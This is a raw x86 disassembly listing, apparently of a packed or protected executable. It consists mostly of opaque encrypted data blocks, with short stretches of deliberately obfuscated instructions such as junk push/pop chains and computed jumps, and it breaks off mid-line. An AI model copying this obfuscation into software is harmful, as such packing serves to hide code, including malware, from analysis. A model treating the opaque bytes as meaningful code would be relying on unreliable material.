6857ABF4h dd 65321E20h, 0E44B0323h, 72BD81A5h, 0C7267747h, 924F06FBh dd 533A0BB1h, 93B39537h, 90B696BDh, 10351A4Ah, 8F9EF530h dd 0BC2F53AFh, 4546E91Ah, 0E12B0665h, 0E42473DDh, 99E5D1DCh dd 401B67B0h, 1Ch, 1212B28Ah, 611D75ADh, 73235402h, 1E48373Bh dd 4294C13Ah dd 0C3E4BD67h, 5402618Fh, 0A506652h, 0F7CBEB3Dh, 5FA38388h dd 0CD112510h, 0B886B4E2h, 277B434Fh, 91EDF1D8h, 7D4179A6h dd 0E43A1832h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx push 1601h mov [esp], eax push esi push edx push 67BA14F6h pop edx add edx, 46980975h and edx, 24EA6AD4h sub edx, 0D6CE8A50h mov esi, edx pop edx add esi, 0B87A28F5h mov ecx, esi pop esi push 5B09h mov [esp], esp add dword ptr [esp], 4 pop eax sub esp, 4 mov [esp], ebp mov ebp, ecx mov [eax+8], ebp pop ebp push dword ptr [esp] pop eax add esp, 4 push dword ptr [esp] pop ecx add esp, 4 jmp loc_545FF7 ; --------------------------------------------------------------------------- dd 0B80E12h, 305EDBBh, 1AE0FFC5h, 391F84C8h, 1A036D7Eh dd 0C748E35Eh, 0B158B580h, 733C579Fh, 117C70DFh, 0A109ADA3h dd 0DF15FB6Dh, 0F74728A3h, 0A441F81h, 0CB2DD2B4h, 0D63512DCh dd 8115936Ch, 0C246B07Ah, 4E1C58DEh, 0A6164971h, 586F40C5h dd 9A46A933h, 0CF6F23DBh, 0EC5AE308h, 4C3195AAh, 0F5657D31h dd 94513768h, 302CE66Ch, 5820A945h, 7467AA91h, 21514F35h dd 0E85FA334h, 0Dh, 919A12F9h, 978E7C94h, 0CB4D0D96h, 0B70F5E63h dd 5BC681FEh, 0E9000075h, 0Dh, 71FAD9DCh, 9C64EC27h, 0D98DD332h dd 1D26BA69h, 0DA8B0000h, 0C180068Bh, 2FF081E6h, 0F5C0AA1h dd 80h, 0B1C08100h, 0F6E92D7h, 168Ch, 11E900h, 7DEB0000h dd 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh, 817D21E1h, 67872BC0h dd 58C0F44h, 0BB000000h, 48FC1EC6h, 0CF816650h, 68F6A10h dd 0C6C959BFh, 0F7EE8158h, 0F97ABD69h, 69F3C681h, 0F4A7ABDh dd 0FFFF9B85h, 14E8FFh, 96C80000h, 0D9DF23E8h, 7BE11A6Bh dd 7A298084h, 32927872h, 13E973B9h, 1F000000h, 8A410924h dd 6CE185A4h, 207A87CCh, 0EB251DE8h, 0EB5F2A74h, 8, 2CE5DC00h dd 4A2E92Ah, 0B3680000h, 0E905EDBDh, 0FFF9C08Fh, 0EDBE2D68h dd 0C085E905h, 8268FFF9h, 0E905EDBFh, 0FFF9C07Bh, 0F55B63A9h dd 0F25E7CAEh, 8C5C7CA5h, 884064A7h, 894777A3h, 0EDD58D24h dd 0E9D463EDh, 0F7D463EDh, 0FAD279D7h, 1DB574D4h, 985E30B8h dd 96C033C6h, 8566452h, 7C9ED3Fh, 0C9818468h, 5D11C7ECh dd 0DBF3DCC9h, 0F19E3C63h, 2407BCB7h, 99D67DAh, 20EBC692h dd 0A322B2A6h, 0DB2261F1h, 0A4000002h, 1D3D6A35h, 0DDB245DEh dd 0EC440E0Fh, 0EEC26D09h, 410D6811h, 5CCE8774h, 2CA38CC9h dd 3C65AE8Bh, 868765C5h, 7D20E9CCh, 0EC3DCA10h, 1AFBF18Eh dd 848665B0h, 52A3C06Eh, 0DFF6D778h, 0DF62857h, 0E7C617C0h dd 664840EFh, 6B4B5DEAh, 6BC6CBB6h, 500B2773h, 315h, 4D83BBE1h dd 4A86A4E6h, 4484B4FDh, 4088ACFFh, 418FCFFBh, 256D457Ch dd 216C3B15h, 3F6C3B15h, 226A311Fh, 0D5FDCC1Ch, 985F78C0h dd 5E087BC6h, 0A72FEE02h, 639FF212h, 26A8F9C9h, 27291119h dd 0A6282E18h, 52A89099h, 9EC6387Bh, 6DB189B1h, 0D42A0802h dd 5C45A4F5h, 0DD58017Ch, 2FC6985Fh, 0D9250900h, 4298BEEEh dd 0F4DB1A6Bh, 6C0DF2D4h, 0B46A3EDBh, 29B3F9Ch, 317F0000h dd 2E7CCB05h, 4E7BC008h, 5275C20Eh, 4971DE72h, 0BFF6DF71h dd 0B19FBFEBh, 0B19FBFEAh, 4F81A1EAh, 4A86A8E0h, 0E64A6F67h dd 0FDC6985Ch, 0EE02D88Eh, 0DAFFA72Fh, 0C375E256h, 0E42D1C6Dh dd 44A786D4h, 9F99AB0Eh, 0C112C963h, 4664A689h, 0DEA61B67h dd 4BC6985Eh, 0D6217D41h, 0A50BAEF7h, 0BEC6985Eh, 0BA3E1C6Dh dd 9F0CA9D1h, 6DE21CDBh, 0FCAFA38Ch, 3F5EF6DAh, 0B09F61ECh dd 36AB086h, 1845B20h, 356F0000h, 0C31F3F6Ah, 64A48BEAh dd 0AC547C42h, 75E2A709h, 1C53BCC3h, 0E6CD280Eh, 844880A6h dd 38CF83ACh, 6ABD6C09h, 0C415744Ah, 7716DAE9h, 0CF7D7A5Fh dd 297AC95Ch, 0AE9460D5h, 32E2C692h, 0D615256Dh, 79C60387h dd 0D9300E2Eh, 3E950F9Ah, 33B761F2h, 33000000h, 0A72FEE02h dd 5CFEB912h, 1965B6C9h, 92FED0A4h, 7C5C45C6h, 0D7F7D11Eh dd 97A2AB8Bh, 8694C23h, 1EA026A1h, 957F1B30h, 61F251FBh dd 0A4C9h, 7A529D00h, 0F1390654h, 828AF5C9h, 0CA622ABCh dd 6054C507h, 0BF01E6FAh, 0B4C37559h, 0C936086Bh, 4051FFDFh dd 0C3755C96h, 0EB654943h, 953DE00Ch, 5F4A1B00h, 0C78FD8C9h dd 0C0084E78h, 920F4F7Bh, 6A3B86FBh, 46500B27h, 0D0000001h dd 0D17ED2E4h, 2C7BD5F5h, 2E75DBE3h, 2A71DFFFh, 0A372DEFCh dd 64525C14h, 64505FE4h, 6E4E5FE4h, 537355E2h, 3F9ACCFDh dd 0C6985D49h, 526F5B4Ah, 77404864h, 59C8D9FDh, 0BC82D3C8h dd 67CC1C6Dh, 270E1F25h, 8262CA7Bh, 176BB4C4h, 0BB6BE536h dd 7F47C683h, 40A3B993h, 547A5216h, 0CFEF3906h, 8E866A01h dd 4D68B09Bh, 0C375FBFBh, 9E57AFF8h, 7D55A614h, 40288DB5h dd 0DDC3754Fh, 0C415E6D6h, 9DB200E9h, 50A1C95Dh, 0D1E9D17Eh dd 557556F9h, 7DC7DA16h, 0E8C69219h, 82B29EA0h, 0C4676BDh dd 9219C7A9h, 0B0F3DCC6h, 1965555Dh, 9442h, 0EE029400h dd 0FE12A72Fh, 0F5C9639Fh, 460E56A4h, 378CACF9h, 0C6985F41h dd 0DF327142h, 0B3C1E0CDh, 0B6B7A072h, 3D0E4E7Bh, 22040413h dd 0E9CCF4DCh, 0C698A807h, 996F4A1Ch, 9AC698A8h, 0A317849h dd 6E16F332h, 7BF6DA4Dh, 0F2DA7610h, 0F5D77CECh, 6BA28DD1h dd 9843774Bh, 547A52FEh, 0D6E62D72h, 8C57D9FCh, 36CF6DBh dd 5072C20h, 0C991A921h, 0E7496C79h, 0FCF6DB5Ch, 0C3154B93h dd 0EFECD211h, 11h, 292D1827h, 21B9F4D5h, 1F3F6A35h, 0D58BEAC3h dd 50665215h, 0CBEB3D0Ah, 0A38388F7h, 1125105Fh, 86B4E2CDh dd 7B434FB8h, 0EDF1D827h, 4179A691h, 3A18327Dh, 895202E4h dd 4C281E2h, 83000000h, 148704EAh, 24248B24h, 81E18951h dd 4C1h, 4E98300h, 5C240C87h, 68241489h, 40Eh, 57240489h dd 0E07D9E68h, 0EF815F60h, 5AF2C0A3h, 3C8BFA89h, 4C48124h dd 68000000h, 5D56h, 81242489h, 42404h, 81580000h, 4ECh dd 24148900h, 23242C81h, 8F7E861Fh, 40810840h, 861F2308h dd 24048B7Eh, 81E78957h, 4C7h, 4C78300h, 5C243C87h, 5A2434FFh dd 0E904C483h, 0FFF9BBFBh, 0FF0AF3DEh, 0EDC0EDB8h, 0FFC50305h dd 0C40CFDE0h, 744C5C5Fh, 65BF720Dh, 0D9F5BA0Eh, 4E3C415h dd 648D8D24h, 6A05EDC2h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 5B2DC350h, 0B14B5A74h dd 666A048Fh, 1E12C781h, 23158D89h, 6A05E7h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0C9C20AC3h dd 9D352129h, 8B985C7h, 73E005E7h, 958B0000h, 5E72159h dd 1698589h, 85C705E7h, 5E70C99h, 0 dd 1BF9BD31h, 0B5FF05E7h, 5E7129Dh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Dh, 0F3C35343h, 223B3FA7h, 0D054C64Eh dd 0FF65B746h, 0E732CD95h, 0CE905h, 83C0000h, 5F9E8AE3h dd 0A8054C1Ch, 6AB010h, 1A1D95FFh, 0C08B05E7h, 0B7637AEBh dd 0DBC43B49h, 0FD985EF2h, 0A3C06D0Ch, 9796D125h, 55BA6D6Eh dd 0D3FCE655h, 41F79C57h, 0FAB024E8h, 0E4F05D12h, 0C59713C2h dd 53B79DDBh, 0AA5F7CD3h, 7E824E26h, 9D141AD4h, 0C571088Ah dd 5101D935h, 0EF4B28C8h, 0ACF7211Bh, 5BCC606Dh, 0AC4F7875h dd 0A270ED65h, 45E97BB4h, 8E3C2D0Bh, 3E9A7157h, 0FDCC8244h dd 6AAABB58h, 0D0361D6Bh, 70F61C8h, 2B599159h, 0CACD9B7Dh dd 0CE8h, 99F22C00h, 0D505F32Fh, 642C61A7h, 58F38ADCh dd 3D9D3360h, 6005E706h, 714DC181h, 0D081512Ch, 7B0E8657h dd 0C0816161h, 734Ch, 6E9h, 1424FC00h, 0BFBB40B7h, 0 dd 8BD2B70Fh, 0BE66380Ch, 0E981861Fh, 6F3E2BA1h, 1BC1958Bh dd 0C18105E7h, 15DC1D61h, 81F38B66h, 191AA6C1h, 49B52B5Fh dd 8905E725h, 0C1B2380Ch, 25AD8531h, 0EF8105E7h, 60ADEB6Fh dd 163D381h, 0C7814F01h, 60ADEB6Bh, 27019501h, 0FF8105E7h dd 0FFFF8D48h, 0FFA9850Fh, 8B66FFFFh, 6E8F3h, 0DBFD0000h dd 0F0450C55h, 26059589h, 8B5E05E7h, 0E72F4185h, 0B6C68105h dd 8B000069h, 0E7042185h, 1A4FBF05h, 0EC800000h, 8136FFE3h dd 367BE8EAh, 0B5895B3Ch, 5E720A5h, 0F290F381h, 81F90CF1h dd 0D8DD34C3h, 0EB81F864h, 5D7B93C6h, 0CE91E89h, 0E000000h dd 0C576C0FAh, 80629C74h, 83549A67h, 8D8904EEh, 5E72DD9h dd 1EF81h, 850F0000h, 0FFFFFFB5h, 6860Fh, 858B0000h, 5E7273Dh dd 10E8h, 0ED688900h, 0C5FFABF5h, 5198C2B3h, 1C0C3661h dd 0BD295A6Bh, 5E72481h, 75DEC281h, 858B0000h, 5E730B1h dd 9D09F633h, 5E70E89h, 8B323C8Bh, 0E732458Dh, 8FF78105h dd 8B763F42h, 0E71D0D8Dh, 0F9EF8105h, 894A587Fh, 0E70F69B5h dd 0FEF8105h, 0B86ACD8Bh, 2E60D42Bh, 0E9323C89h, 0Ah, 514ADDE5h dd 6C57E343h, 95290CEAh, 5E71475h, 2901EE83h, 0E70E95BDh dd 4E4E4E05h, 1BC9BD89h, 0FE8105E7h, 0FFFF8AF0h, 28850Fh dd 11E90000h, 76000000h, 905A9309h, 75E63C45h, 0E51BF325h dd 674B2013h, 2AE9h, 6549B900h, 503811F8h, 0A13CCE0Bh dd 0B966EE1Ch, 6DE9BA17h, 0BEFFFFFFh, 19B73336h, 0E0A0E0C8h dd 75DA91C8h, 52C57CE1h, 0E8B96B56h, 0Ah, 0D5CBDF45h, 0A55154CDh dd 0B5017899h, 5E72041h, 0ADB5895Eh, 8105E70Bh, 61FAC6h dd 0BAC28B00h, 0 dd 12E9h, 0B17F4E00h, 9E2C931Bh, 831ABDC9h, 0E43CE3FAh dd 0FFCDF19Eh, 2FBB3234h, 596C910Fh, 9CD08057h, 4DF1815Fh dd 80555B63h, 0C1814FC3h, 35270D0Dh, 0E91BD8Bh, 0C18105E7h dd 59223272h, 2271B589h, 815105E7h, 3C82CBD0h, 16048F4Ch dd 6E9h, 1ABE8B00h, 0B88678C6h, 3E5DF2FFh, 0CEB5EA81h dd 95296D62h, 5E71321h, 0CEB1C281h, 9D096D62h, 5E70D8Dh dd 9EACFA81h, 850FFFFFh, 0FFFFFF93h, 0C08BC18Bh, 0D79BD83h dd 750005E7h, 15BD8309h, 5E71Ch, 53501974h, 21B8C08Bh dd 89000004h, 0E713D585h, 349D8D05h, 0FF05E9AAh, 83585BD3h dd 0E71C15BDh, 17740005h, 21B85350h, 89000004h, 0E713D585h dd 239D8D05h, 0FF05E9A7h, 8B585BD3h, 9D9D8BC0h, 0C605E704h dd 0E707F985h, 52685605h, 0FF9CA8B8h, 0E72DC5B5h, 63858D05h dd 0FF05EA79h, 68046AD0h, 1000h, 1361B5FFh, 6A05E7h, 0C085D0FFh dd 0D850Fh, 0B80000h, 8D000000h, 0E771898Dh, 8BE1FF05h dd 3C38BC8h, 0F8053C40h, 8B000000h, 0D3030C50h, 0B81BD83h dd 0F0005E7h, 0E84h, 819D8B00h, 8B05E70Bh, 0E7021D85h dd 51038905h, 68858D52h, 0FF05E742h, 8BFA8BD0h, 8BD18BF1h dd 0C6A4F3C8h, 0E707F985h, 39685605h, 0FFD41F6Dh, 0E72DC5B5h dd 63858D05h, 0FF05EA79h, 800068D0h, 6A0000h, 8BD0FF52h dd 79BD83C0h, 5E70Dh, 0BD830975h, 5E71C15h, 50197400h dd 0B8C08B53h, 421h, 0F2D8589h, 9D8D05E7h, 5E9AA9Bh, 585BD3FFh dd 1C15BD83h, 740005E7h, 0B8535017h, 421h, 0F2D8589h, 9D8D05E7h dd 5E9A73Ch, 585BD3FFh, 9D8DC08Bh, 5E70B81h, 0C00B038Bh dd 7840Fh, 38B0000h, 89045B8Bh, 4B41B818h, 0CAFE0000h dd 0A80B08DCh, 8A4F8153h, 0A80B091Bh, 75EAD5ABh, 0A80B09F3h dd 8A4F8659h, 57AE5DBAh, 8A4F8636h, 0A80B0EE3h, 75EAD5ABh dd 0A80B0EAAh, 8A4F8764h, 0A80B0F34h, 8A4F87E6h, 0A80B0FAEh dd 75EAD5ABh, 0B0D42F25h, 310C79Ch, 45974DC0h, 0C90A751h dd 21544F8Dh, 67D3D9D1h, 75D42F40h, 310C79Ch, 459755C0h dd 0BF90A751h, 21544F8Ch, 67D3D5D1h, 24D42F40h, 310C79Dh dd 4596A1C0h, 6B90A751h, 21544F8Ch, 67D221D1h, 8DD42F40h dd 310C79Eh, 4596ADC0h, 0E490A751h, 21544F8Fh, 67D23DD1h dd 7D42F40h, 310C79Eh, 4596B9C0h, 7A90A751h, 21544F8Fh dd 67D235D1h, 99D42F40h, 310C79Fh, 459681C0h, 0E090A751h dd 21544F8Eh, 67D20DD1h, 12B8C340h, 0DF152A50h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 4DC7C0D5h, 0ED96A7A8h, 8A152AA8h dd 0A0242945h, 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h dd 75EAD5BAh, 3AAE63CEh, 8FF22619h, 0AB534284h, 0FFEA2211h dd 0A4245D55h, 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h dd 0EAE9EED7h, 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h dd 351A241h, 27BFEA66h, 0EBDB2FEEh, 7510C7B8h, 2011294h dd 6656A0D9h, 79AEA7A8h, 0AE51A1ECh, 22DC0941h, 8FF8C617h dd 103773BAh, 21732ADFh, 441228C8h, 5BEA2FB9h, 8C152BFDh dd 988150h, 0ADBC4E06h, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh dd 61ADE7CEh, 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h dd 4287C0D5h, 0DDDAA7A8h, 8668A15Ch, 0A8ADE782h, 0CC152A54h dd 994430BAh, 529E2FB3h, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh dd 6656A0D9h, 79AEA7A8h, 20949A0Dh, 8C551A23h, 21848132h dd 215DDF6Eh, 174D629h, 6A985E00h, 1402A5Ch, 549521A9h dd 8A15C234h, 290BA245h, 67DDC3BEh, 0A0242940h, 4D1957DFh dd 0A8515E00h, 75532A54h, 4F60B7D7h, 19CDA151h, 9BFC69CEh dd 0E2A5B997h, 0F9FA31EFh, 6656A0D9h, 79AEA7A8h, 20949A0Dh dd 8C651A23h, 21848132h, 215DDF6Eh, 174D629h, 6A985E00h dd 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h dd 3BFDA245h, 0B91DC995h, 4919197h, 4A38F2DEh, 2851A245h dd 0E1AD5A8h, 0A851A25Eh, 8A1523EDh, 2DA05545h, 86902586h dd 2851A245h, 4B7332A3h, 2337AA8Eh, 0A1BE4C97h, 0D5D8AE38h dd 0CF9E4BA8h, 0A0936BB9h, 669E7F54h, 0C8AD66C6h, 11D5FDFh dd 0ED96AE38h, 8A152AA8h, 69C20E45h, 582622B7h, 22FD6276h dd 8AD5078Ch, 54D1A245h, 939125ABh, 1151A245h, 8A152A5Dh dd 7AD453B2h, 8A1FAF5Bh, 10E0A245h, 4B93E256h, 39191EFh dd 319577Fh, 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h dd 0A0242925h, 4D1957DFh, 0A8515E00h, 0B92A54h, 0A7B2229Dh dd 85E1D4h, 22DC0886h, 8FF8C617h, 0F8E173BAh, 0C99FA7FEh dd 57544FA9h, 20D6A085h, 215DDF6Eh, 174D629h, 6A985E00h dd 1402A5Ch, 549521A9h, 8260A134h, 6F5DDFCEh, 8A15D611h dd 0AFE9A245h, 75152A54h, 4F5DEFD7h, 20452651h, 441228C8h dd 5BEA2FB9h, 9BFB2BF5h, 85318694h, 0AC59622Eh, 0AEA58050h dd 0A42C89EFh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh dd 0FF9E4AA8h, 0A42C294Dh, 8AE96F93h, 451A245h, 9F87D5FEh dd 23544574h, 4917868Ch, 0EBDB2FEFh, 7510C7B8h, 28E9C494h dd 0BE4CBDh, 0D57A0886h, 7668A358h, 54142924h, 8A1DE89Dh dd 2BBD2910h, 175D690h, 0D5DAAA30h, 7650ED58h, 0A851A245h dd 18EA80F8h, 0ADB69350h, 58B9E2DFh, 32DC0885h, 8FF8C617h dd 103771BAh, 2173E394h, 83FB63CFh, 0F79C2629h, 0EDDAC3B9h dd 82D7E3A8h, 44DAF745h, 0EAE9EED7h, 2359D7CEh, 0CFD22629h dd 0A851A2B9h, 75BF8654h, 4F60B7D7h, 26DDA151h, 25FB6377h dd 67F969CEh, 0CE825D40h, 0ECE4AAECh, 29028EEh, 319577Fh dd 23305E38h, 48DCD611h, 2304A24Dh, 76D1A9B8h, 0A0242925h dd 4D1957DFh, 0A8515E00h, 32732A54h, 3376B77h, 6656B0D9h dd 7BAEA7A8h, 4B959232h, 4FD0923h, 866801FEh, 0C9ADDFCCh dd 43E96FDFh, 0FD51AA87h, 4E96C6DFh, 0DDDAC2B9h, 8668A15Ch dd 0A8ADE782h, 0EC152A54h, 0CEB824FDh, 0C98FA7FFh, 57544FA9h dd 20A09A87h, 25FB0E03h, 67F969CEh, 0CE825D40h, 0ECD8ACECh dd 0A42C89EEh, 0EBE957DDh, 61ADE7CEh, 0DF152296h, 6CD24ECEh dd 8AFD4AA8h, 0F251A245h, 41AFC0D5h, 0ED96A7A8h, 8A152AA8h dd 0A0242945h, 261957DFh, 2C5E9179h, 8A152A1Eh, 2C5E8979h dd 8A152A16h, 2C5ECA79h, 8A152A49h, 2C5E1379h, 8A152A38h dd 2A5EF279h, 8A152A5Ch, 2A5EFA79h, 8A152A6Bh, 0A851D6ACh dd 8660D554h, 2559D7BAh, 67D3C5CEh, 32DCF140h, 8FF8ED92h dd 0EDD871BAh, 8A42C3A8h, 0DDAEA245h, 8260D558h, 6EAE38C8h dd 7462FB9h, 459664DFh, 3C6D551h, 92B85E00h, 75152A54h dd 0DDAEAE30h, 818FA75Ch, 0FB544F82h, 4DD3B0D9h, 7BAEA7A8h dd 63E96FDDh, 0A851A258h, 75195FABh, 32DCAA30h, 8FF8ED43h dd 6ECB2F16h, 7510C793h, 54142B96h, 8A152ABDh, 0EDDAC345h dd 82D7E3A8h, 3044BA45h, 9D8D0000h, 5E71615h, 1434B8h dd 0D5858900h, 0E805E729h, 0 dd 0D0558h, 3890000h, 1434E9h, 50Dh dup(0) dd 2AE900h, 4C70000h, 24h, 0E800h, 815D0000h, 0EDE0EDEDh dd 24448B05h, 0A9858904h, 0B805E706h, 0 dd 4DFA8D8Dh, 0E1FF05E7h, 6754B8h, 0FE8D8D00h, 6A05EDE1h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 4461C356h, 36BD8D6Fh, 0B5A8CA81h, 8D89065Fh dd 5E72315h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0E8C35545h, 14F799AAh, 0C79006F8h, 0E708B985h dd 6E5005h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 0F6C6507Dh, 29887941h, 9985C7B2h dd 5E70Ch, 0F5000000h, 2AB1B5FFh, 6A05E7h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 80D4ACC3h dd 0C88E6D9h, 0AE8h, 0E8AED300h, 5DFD1B6Bh, 8B079641h dd 0E72DA99Dh, 0B70F5A05h, 0CD95FFDFh, 0E805E732h, 0Ah dd 0A89B5208h, 7BE7F0D6h, 5AFCFC52h, 95FF006Ah, 5E71A1Dh dd 0AEBC08Bh, 53441502h, 72FDAE0Eh, 16EB30B1h, 5 dup(0) dd 3C80101h, 5ED0000h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 45C35343h, 11E95039h, 0B000000h, 0BAF2BF4Ah dd 50A7CE44h, 744458E0h, 8B1270FDh, 0B9240489h, 5248821Bh dd 4787D981h, 6A50A7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 86C35141h, 9C3E22CBh, 0CEB70F2Ch, 0B589006Ah dd 5E701EDh, 0E37A858Dh, 8B6605EDh, 9E990DAh, 0DD000000h dd 4B1EFCC3h, 0B2234DD5h, 11830F50h, 60000000h, 28F555BBh dd 5E929h, 637A0000h, 61336C8Eh, 53006A90h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1404h, 0C3534300h, 68D0FCAh, 29000000h dd 0E713D995h, 6A006A05h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 4E3C352h, 0CF81667Eh dd 880FFA33h, 0 dd 0BF0F006Ah, 0C595FFCAh, 6A05E702h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0E350C352h dd 0E9B7B5D2h, 57Ah, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 17h, 8BC35141h, 0E9EDD77Ch, 7, 0EDBA55D1h dd 0E8F3213Fh, 0 dd 7FED815Dh, 3105EDE3h, 0E7172D95h, 13E905h, 5890000h dd 0FA68F83h, 2944BB72h, 0A6357056h, 338FB6F5h, 1DB5013Eh dd 0E805E71Ch, 4, 0FA0h, 8BF2B550h, 51042444h, 5BCB8B66h dd 6656008Bh, 5B97E5BBh, 4244489h, 14E9h, 68980300h, 0E40EE9D2h dd 0C7033C10h, 5927DC0h, 0CFCB095Eh, 95FF5897h, 5E71A1Dh dd 1231B531h, 0B58D05E7h, 5EDE20Fh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 0EC35545h, 8B66A523h, 91B589D1h dd 0C705E71Fh, 67655206h, 61B9666Dh, 446C73Ch, 6C636E6Fh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 18h, 0A5C35646h dd 90C68246h, 610846C7h, 29007373h, 0E72BF99Dh, 0F5B50105h dd 6A05E71Bh, 7B35600h, 0F858D5Fh, 6A05EDE2h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h dd 16A8C351h, 0B37AA0BAh, 0EE90089h, 0D2000000h, 0AC2D3B60h dd 0A88A3DC3h, 49C28ACFh, 21B58958h, 9005E71Bh, 0DE9h dd 82384300h, 0EDA22B38h, 625408F7h, 0B150F048h, 0BF669040h dd 95FF3858h, 5E72DF1h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0CDC35040h, 0BC3368Eh, 4B840FC0h, 6A000000h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 16042444h dd 47000000h, 5E63C357h, 361E99Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0FFFA67C3h dd 28ACE45Ah, 3DD6F181h, 0A168013Ah, 66396915h, 815ACABFh dd 148D2434h, 958B3969h, 5E7310Dh, 1A1D95FFh, 0BD3305E7h dd 5E703D9h, 0E20FB58Dh, 0F18105EDh, 640C2FAh, 383106C7h dd 6A3634h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 94A612C3h, 0DEDC176Bh, 446C710h, 31342D37h dd 0B902B966h, 846C7h, 52000000h, 1418D29h, 6A5905E7h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h dd 0C3514100h, 0EB92731Ch, 89AC3C6Bh, 0E730C9B5h, 0F858D05h dd 6605EDE2h, 5750D78Bh, 310F5250h, 840Fh, 585A0000h, 24048959h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 30C35343h dd 0B18D893Fh, 8B05E701h, 0E72D5D9Dh, 0F195FF05h, 6A05E72Dh dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h dd 42000000h, 8C45C352h, 566057E7h, 0D3BF0F29h, 840FC00Bh dd 28h, 0CE8h, 0ADB96400h, 2847A9E4h, 0B436D9F0h, 41BD8B2Fh dd 5905E702h, 20AE9h, 0DA816600h, 952BF5E8h, 5E71571h dd 4E8h, 12C00h, 50F88B00h, 448B81B3h, 60600424h, 66616160h dd 61B098BBh, 0CA8B008Bh, 4244489h, 0C92BB66h, 57006A58h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 0E2468533h, 1D95FF21h, 8005E71Ah, 0B58D88D3h, 5EDE20Fh dd 2249BD89h, 6C705E7h, 656C6946h, 0B2F9B70Fh, 446C772h dd 636E6F6Dh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 33C35040h, 49BA29C0h, 0BAA70860h, 10E827h, 0C6A30000h dd 0EF065117h, 9CC805ACh, 327FB976h, 8D89ADA4h, 5E72ECDh dd 846C75Bh, 7373616Ch, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Dh, 0EFC35747h, 68122787h, 0BB8AEE0Ch, 0FE88AFCh dd 46C7FEBFh, 0Ch, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1404h, 0C3534300h, 952B5286h, 5E71369h, 66006A5Ah dd 858DFB8Bh, 5EDE20Fh, 1B598531h, 0F9005E7h, 1389h, 0EE900h dd 0F6C20000h, 0CCDD5F65h, 0EC2B2286h, 70B8FF28h, 0DE850h dd 38F50000h, 2DCF4174h, 0C6DD09F8h, 66132FB9h, 5F58D5B9h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h dd 0C3564600h, 2BAAC285h, 0F0E02B4h, 2DF195FFh, 6A05E7h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 74A9F3C3h, 6890F40h, 8B000000h, 0E71AE9BDh, 0FC00B05h dd 4784h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1904h, 0C3554500h, 0EA86C438h, 0BD890A6Eh, 5E716C1h dd 2C9BD33h, 0AE905E7h, 0A6000000h, 0BA010015h, 3D4AD1F1h dd 11E98Bh, 95090000h, 5E725ADh, 0FFFB0AE9h, 0C8D181FFh dd 8D5A03C6h, 0E77189B5h, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 5F4E4D8Eh dd 0B8D88B8Ch, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 16C35747h dd 953386A0h, 5E7064Dh, 0C18BE6FFh, 0DE8h, 9DCABB00h, 0DBA38E90h dd 3250583h, 8B66C2BEh, 81665FC2h, 810082E9h, 617FC7h dd 6800h, 9D090000h, 5E704C9h, 8BF38B5Ah, 0C38B171Ch, 9CA8EB81h dd 0B58B284Ch, 5E70579h, 0F5C4EB81h, 858B3F4Bh, 5E7204Dh dd 0F3F6EB81h, 0B58B78D9h, 5E704F1h, 0BE171C89h, 2955EEF1h dd 1BE59589h, 0EA8105E7h, 4B700DAAh, 10E8h, 1D524200h dd 0BC7C4D7h, 0DEE107A7h, 0F0001E83h, 10E861h, 0DBFA0000h dd 181AD098h, 31971FC7h, 3881ECF2h, 13E948A0h, 0F2000000h dd 0C17DE923h, 